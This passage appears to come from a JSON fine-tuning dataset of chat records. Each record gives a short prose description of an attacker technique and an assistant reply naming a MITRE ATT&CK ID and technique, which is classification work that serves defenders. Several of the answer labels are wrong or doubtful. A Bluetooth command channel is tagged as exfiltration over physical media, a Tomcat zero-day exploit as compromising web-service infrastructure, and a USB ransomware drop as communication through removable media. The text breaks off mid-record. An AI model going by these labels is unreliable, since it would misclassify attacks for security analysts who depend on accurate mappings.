                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers compromise a corporate device and use PowerShell to query the Credential Guard vault for saved passwords."
            },
            {
                "role": "assistant",
                "content": "T1555.005 - Credentials from Password Stores: Password Managers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker runs the Windows command 'whoami' to identify the currently logged‑in user."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor leverages the `attrib` command to remove the read‑only attribute from critical system files before overwriting them."
            },
            {
                "role": "assistant",
                "content": "T1222 - File and Directory Permissions Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers add a cron job on a compromised Linux host to execute a reverse shell every hour."
            },
            {
                "role": "assistant",
                "content": "T1053 - Scheduled Task/Job"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary performs a man-in-the-middle attack on a web application’s MFA flow, intercepting the verification code sent via SMS."
            },
            {
                "role": "assistant",
                "content": "T1111 - Multi-Factor Authentication Interception"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses the Windows utility mshta to execute malicious JavaScript embedded in an HTA file."
            },
            {
                "role": "assistant",
                "content": "T1218.005 - System Binary Proxy Execution: Mshta"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious VBA code is hidden inside a Word template file, set to execute whenever the Office suite starts, aligning with the Office Template Macros technique."
            },
            {
                "role": "assistant",
                "content": "T1137.001 - Office Application Startup: Office Template Macros"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware disables a compromised service account to evade detection and block legitimate use."
            },
            {
                "role": "assistant",
                "content": "T1531 - Account Access Removal"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker modifies startup scripts to launch a hidden miner each time the system boots."
            },
            {
                "role": "assistant",
                "content": "T1496 - Resource Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary conducts LLMNR and NBT‑NS poisoning on a corporate LAN, intercepts NTLM challenge‑response exchanges, and uses SMB relay to impersonate the user on other network resources."
            },
            {
                "role": "assistant",
                "content": "T1557.001 - Adversary-in-the-Middle: LLMNR/NBT-NS Poisoning and SMB Relay"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary created a new outbound trust relationship to a malicious external AD domain to pivot into additional networks."
            },
            {
                "role": "assistant",
                "content": "T1484.002 - Domain Policy Modification: Domain Trust Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An insider uses internal tools to create unauthorized MFA challenges for high‑privilege accounts, seeking to capture approvals."
            },
            {
                "role": "assistant",
                "content": "T1621 - Multi-Factor Authentication Request Generation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code is hidden inside a packed binary that uses runtime decryption to reveal its true functionality."
            },
            {
                "role": "assistant",
                "content": "T1027.002 - Obfuscated Files or Information: Software Packing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a privileged command prompt, the attacker reset the Access Control List on a service's executable to include the “Users” group, then replaced the binary with a payload."
            },
            {
                "role": "assistant",
                "content": "T1574.010 - Hijack Execution Flow: Services File Permissions Weakness"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware creates a local staging area for stolen cookies before transmitting them to the C2 server."
            },
            {
                "role": "assistant",
                "content": "T1074.001 - Data Staged: Local Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actors performed credential theft from a domain controller and then used those accounts to move laterally."
            },
            {
                "role": "assistant",
                "content": "T1078.002 - Valid Accounts: Domain Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan collected data about USB flash drives connected to the victim machine."
            },
            {
                "role": "assistant",
                "content": "T1120 - Peripheral Device Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware queries the Linux /proc/cpuinfo and /proc/meminfo files to enumerate processor and memory details."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing email containing a malicious link led the victim to a fake login portal for Dropbox, harvesting their credentials."
            },
            {
                "role": "assistant",
                "content": "T1586.003 - Compromise Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker plants a corrupted container image in the internal Kubernetes image registry to compromise pods when they are launched."
            },
            {
                "role": "assistant",
                "content": "T1525 - Implant Internal Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors leverage the ‘net start’ command to trigger execution of a malicious Windows service they previously installed."
            },
            {
                "role": "assistant",
                "content": "T1569 - System Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors configured a backdoor that communicates through a web-based remote console for command execution."
            },
            {
                "role": "assistant",
                "content": "T1219 - Remote Access Software"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a debug interface to read securityd’s in‑memory credential store."
            },
            {
                "role": "assistant",
                "content": "T1555.002 - Credentials from Password Stores: Securityd Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker writes an AppleScript that disables Gatekeeper and then installs a privileged backdoor."
            },
            {
                "role": "assistant",
                "content": "T1059.002 - Command and Scripting Interpreter: AppleScript"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The exploit uses the 'dsquery user' command against the local directory to enumerate local accounts."
            },
            {
                "role": "assistant",
                "content": "T1087.001 - Account Discovery: Local Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A cybercriminal exploited a zero‑day flaw in the Apache Tomcat manager interface to gain remote code execution on the web service."
            },
            {
                "role": "assistant",
                "content": "T1584.006 - Compromise Infrastructure: Web Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion employs a custom PowerShell module to enumerate and download email folders from Exchange."
            },
            {
                "role": "assistant",
                "content": "T1114.002 - Email Collection: Remote Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker compromises a legitimate website and injects malicious links into its content, causing search engines to index these links and direct users to phishing pages."
            },
            {
                "role": "assistant",
                "content": "T1608.006 - Stage Capabilities: SEO Poisoning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion sets up a Bluetooth Low Energy channel to receive commands from a nearby device."
            },
            {
                "role": "assistant",
                "content": "T1052 - Exfiltration Over Physical Medium"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Intruder runs a command to copy all .eml files from the user's Sent Items folder to a hidden zip file."
            },
            {
                "role": "assistant",
                "content": "T1114.001 - Email Collection: Local Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intrusion attempt includes searching public Wi‑Fi hotspot logs posted online to map nearby devices and then probing them for vulnerable services."
            },
            {
                "role": "assistant",
                "content": "T1596.005 - Search Open Technical Databases: Scan Databases"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware edits /etc/pam.d/common-auth to replace the standard pam_unix.so with a backdoored version that grants access without a password."
            },
            {
                "role": "assistant",
                "content": "T1556.003 - Modify Authentication Process: Pluggable Authentication Modules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker initiates active probing of network assets, searching for known flaws that can be leveraged for further compromise."
            },
            {
                "role": "assistant",
                "content": "T1595.002 - Active Scanning: Vulnerability Scanning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion utilizes ptrace system calls to manipulate another process's registers and memory, achieving code execution."
            },
            {
                "role": "assistant",
                "content": "T1055.008 - Process Injection: Ptrace System Calls"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor deployed a malicious scheduled task via the Group Policy Preferences \"Scheduled Tasks\" node, targeting all domain members to execute a reverse shell."
            },
            {
                "role": "assistant",
                "content": "T1484.001 - Domain Policy Modification: Group Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group leverages compromised accounts to retrieve unencrypted SSH keys stored in cloud instance metadata."
            },
            {
                "role": "assistant",
                "content": "T1552.004 - Unsecured Credentials: Private Keys"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors plant a malicious USB drive in a conference hallway; when a participant plugs it in, a ransomware payload is installed."
            },
            {
                "role": "assistant",
                "content": "T1092 - Communication Through Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors collect sensitive PDFs and stage them in a temporary directory on the victim’s PC."
            },
            {
                "role": "assistant",
                "content": "T1074.001 - Data Staged: Local Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker leverages ROMMON to inject a backdoor that runs before the OS initializes."
            },
            {
                "role": "assistant",
                "content": "T1542.004 - Pre-OS Boot: ROMMONkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary manipulates the KernelCallbackTable to execute arbitrary code during system callback events."
            },
            {
                "role": "assistant",
                "content": "T1574.013 - Hijack Execution Flow: KernelCallbackTable"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor reused a previously obtained Azure AD access token to perform privilege escalation, granting themselves Global Administrator rights within the tenant."
            },
            {
                "role": "assistant",
                "content": "T1550.001 - Use Alternate Authentication Material: Application Access Token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Identifying potential vulnerabilities in a database management system through queries and data extraction techniques."
            },
            {
                "role": "assistant",
                "content": "T1595.002 - Active Scanning: Vulnerability Scanning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious script creates a temporary file with a unique name and monitors for its deletion by sandbox containment tools."
            },
            {
                "role": "assistant",
                "content": "T1497 - Virtualization/Sandbox Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During cleanup, the malware disables process interrupt handling to hide its remnants from security tools."
            },
            {
                "role": "assistant",
                "content": "T1564.011 - Hide Artifacts: Ignore Process Interrupts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An insider replaces the corporate portal's welcome message with a fake security warning to cause confusion."
            },
            {
                "role": "assistant",
                "content": "T1491 - Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker exploits a vulnerable public‑facing web application to gain initial remote code execution on the server."
            },
            {
                "role": "assistant",
                "content": "T1190 - Exploit Public-Facing Application"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leveraged SMB to mount a hidden administrative share on a remote Windows host and copied a payload to \\c$ for execution."
            },
            {
                "role": "assistant",
                "content": "T1021.002 - Remote Services: SMB/Windows Admin Shares"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary triggered a destructive macro that clears the contents of all spreadsheets in the victim's network share."
            },
            {
                "role": "assistant",
                "content": "T1485 - Data Destruction"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder obtained a suite of exploits targeting outdated VPN devices from a darknet marketplace and used them to establish footholds in multiple organizations."
            },
            {
                "role": "assistant",
                "content": "T1588.006 - Obtain Capabilities: Vulnerabilities"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing email attached a file named 'update.exe.txt', exploiting double extensions to masquerade the executable as a text file."
            },
            {
                "role": "assistant",
                "content": "T1036.007 - Masquerading: Double File Extension"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker buys confidential API specifications from a private forum to facilitate future exploitation."
            },
            {
                "role": "assistant",
                "content": "T1597.002 - Search Closed Sources: Purchase Technical Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Actor takes advantage of Confluence's backup export functionality to create a zip file of the entire site and moves it to an external location."
            },
            {
                "role": "assistant",
                "content": "T1213.001 - Data from Information Repositories: Confluence"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor places a malicious DLL in the system's AppCert DLL path, causing it to be loaded by the Windows loader as part of application initialization."
            },
            {
                "role": "assistant",
                "content": "T1546.009 - Event Triggered Execution: AppCert DLLs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary sets up a covert channel employing asymmetric encryption to hide data exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1573.002 - Encrypted Channel: Asymmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware deployed on the domain controller alters the Netlogon authentication protocol to accept unauthorized machine accounts."
            },
            {
                "role": "assistant",
                "content": "T1556.001 - Modify Authentication Process: Domain Controller Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After gaining admin rights, the intruder ran `history -c` to clear the bash command history."
            },
            {
                "role": "assistant",
                "content": "T1070.003 - Indicator Removal: Clear Command History"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A spear‑phishing email contains an attached .lnk file whose icon mimics a PDF, but clicking it runs an encoded backdoor via the shortcut’s target path."
            },
            {
                "role": "assistant",
                "content": "T1027.012 - Obfuscated Files or Information: LNK Icon Smuggling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After compromising a workstation, the attacker copied the Chrome cookies file and imported the session cookie into a new browser session."
            },
            {
                "role": "assistant",
                "content": "T1550.004 - Use Alternate Authentication Material: Web Session Cookie"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker leverages S/MIME encryption to protect exfiltrated data before transmitting it over a standard HTTPS channel to a remote drop site."
            },
            {
                "role": "assistant",
                "content": "T1048.002 - Exfiltration Over Alternative Protocol: Exfiltration Over Asymmetric Encrypted Non-C2 Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ransomware leverages the OpenSSL library to encrypt targeted files with RSA keys before dropping a payment note."
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Abusing the 'sudo -u' command with an incorrectly configured NOPASSWD rule."
            },
            {
                "role": "assistant",
                "content": "T1548.003 - Abuse Elevation Control Mechanism: Sudo and Sudo Caching"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor hijacks an existing remote PowerShell session to exfiltrate data from the compromised network."
            },
            {
                "role": "assistant",
                "content": "T1563 - Remote Service Session Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor accesses SharePoint sites to download confidential documents."
            },
            {
                "role": "assistant",
                "content": "T1213 - Data from Information Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a mobile device spoofing vehicle IDs, the attacker triggers green lights for their vehicle at intersections."
            },
            {
                "role": "assistant",
                "content": "T1205 - Traffic Signaling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion leverages ARP requests to signal the presence of additional payloads."
            },
            {
                "role": "assistant",
                "content": "T1095 - Non-Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker abuses a legitimate service account that has been granted access to multiple services across the organization."
            },
            {
                "role": "assistant",
                "content": "T1199 - Trusted Relationship"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware achieved persistence by injecting its loader into a scheduled task's process thread, using OpenThread, SetThreadContext, and ResumeThread."
            },
            {
                "role": "assistant",
                "content": "T1055.003 - Process Injection: Thread Execution Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker crafted a targeted email with an attached .rtf file that exploited a known vulnerability in the victim's document viewer to gain initial access."
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious payload reads the system's keystore, extracts X.509 certificates, and uses them to impersonate legitimate services in Kerberos authentication."
            },
            {
                "role": "assistant",
                "content": "T1649 - Steal or Forge Authentication Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware reads files from the user's Documents folder and exfiltrates them to a remote server."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign delivers a macro that logs keystrokes and writes them to a hidden file."
            },
            {
                "role": "assistant",
                "content": "T1056 - Input Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor's tool looks for a specific registry key that indicates the system is not a honeypot before proceeding."
            },
            {
                "role": "assistant",
                "content": "T1480 - Execution Guardrails"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker runs regsvcs.exe with a malicious assembly path, causing the system to load and execute the payload."
            },
            {
                "role": "assistant",
                "content": "T1218.009 - System Binary Proxy Execution: Regsvcs/Regasm"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker enumerates the desktop's open windows to identify potentially useful applications."
            },
            {
                "role": "assistant",
                "content": "T1010 - Application Window Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A red team exercise simulates stealing an OAuth 2.0 access token from a compromised SaaS platform and using it to create unauthorized admin accounts via the platform's API."
            },
            {
                "role": "assistant",
                "content": "T1550.001 - Use Alternate Authentication Material: Application Access Token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion used the \"Get-WmiObject\" PowerShell cmdlet to gather OS version and patch level data from all domain computers."
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
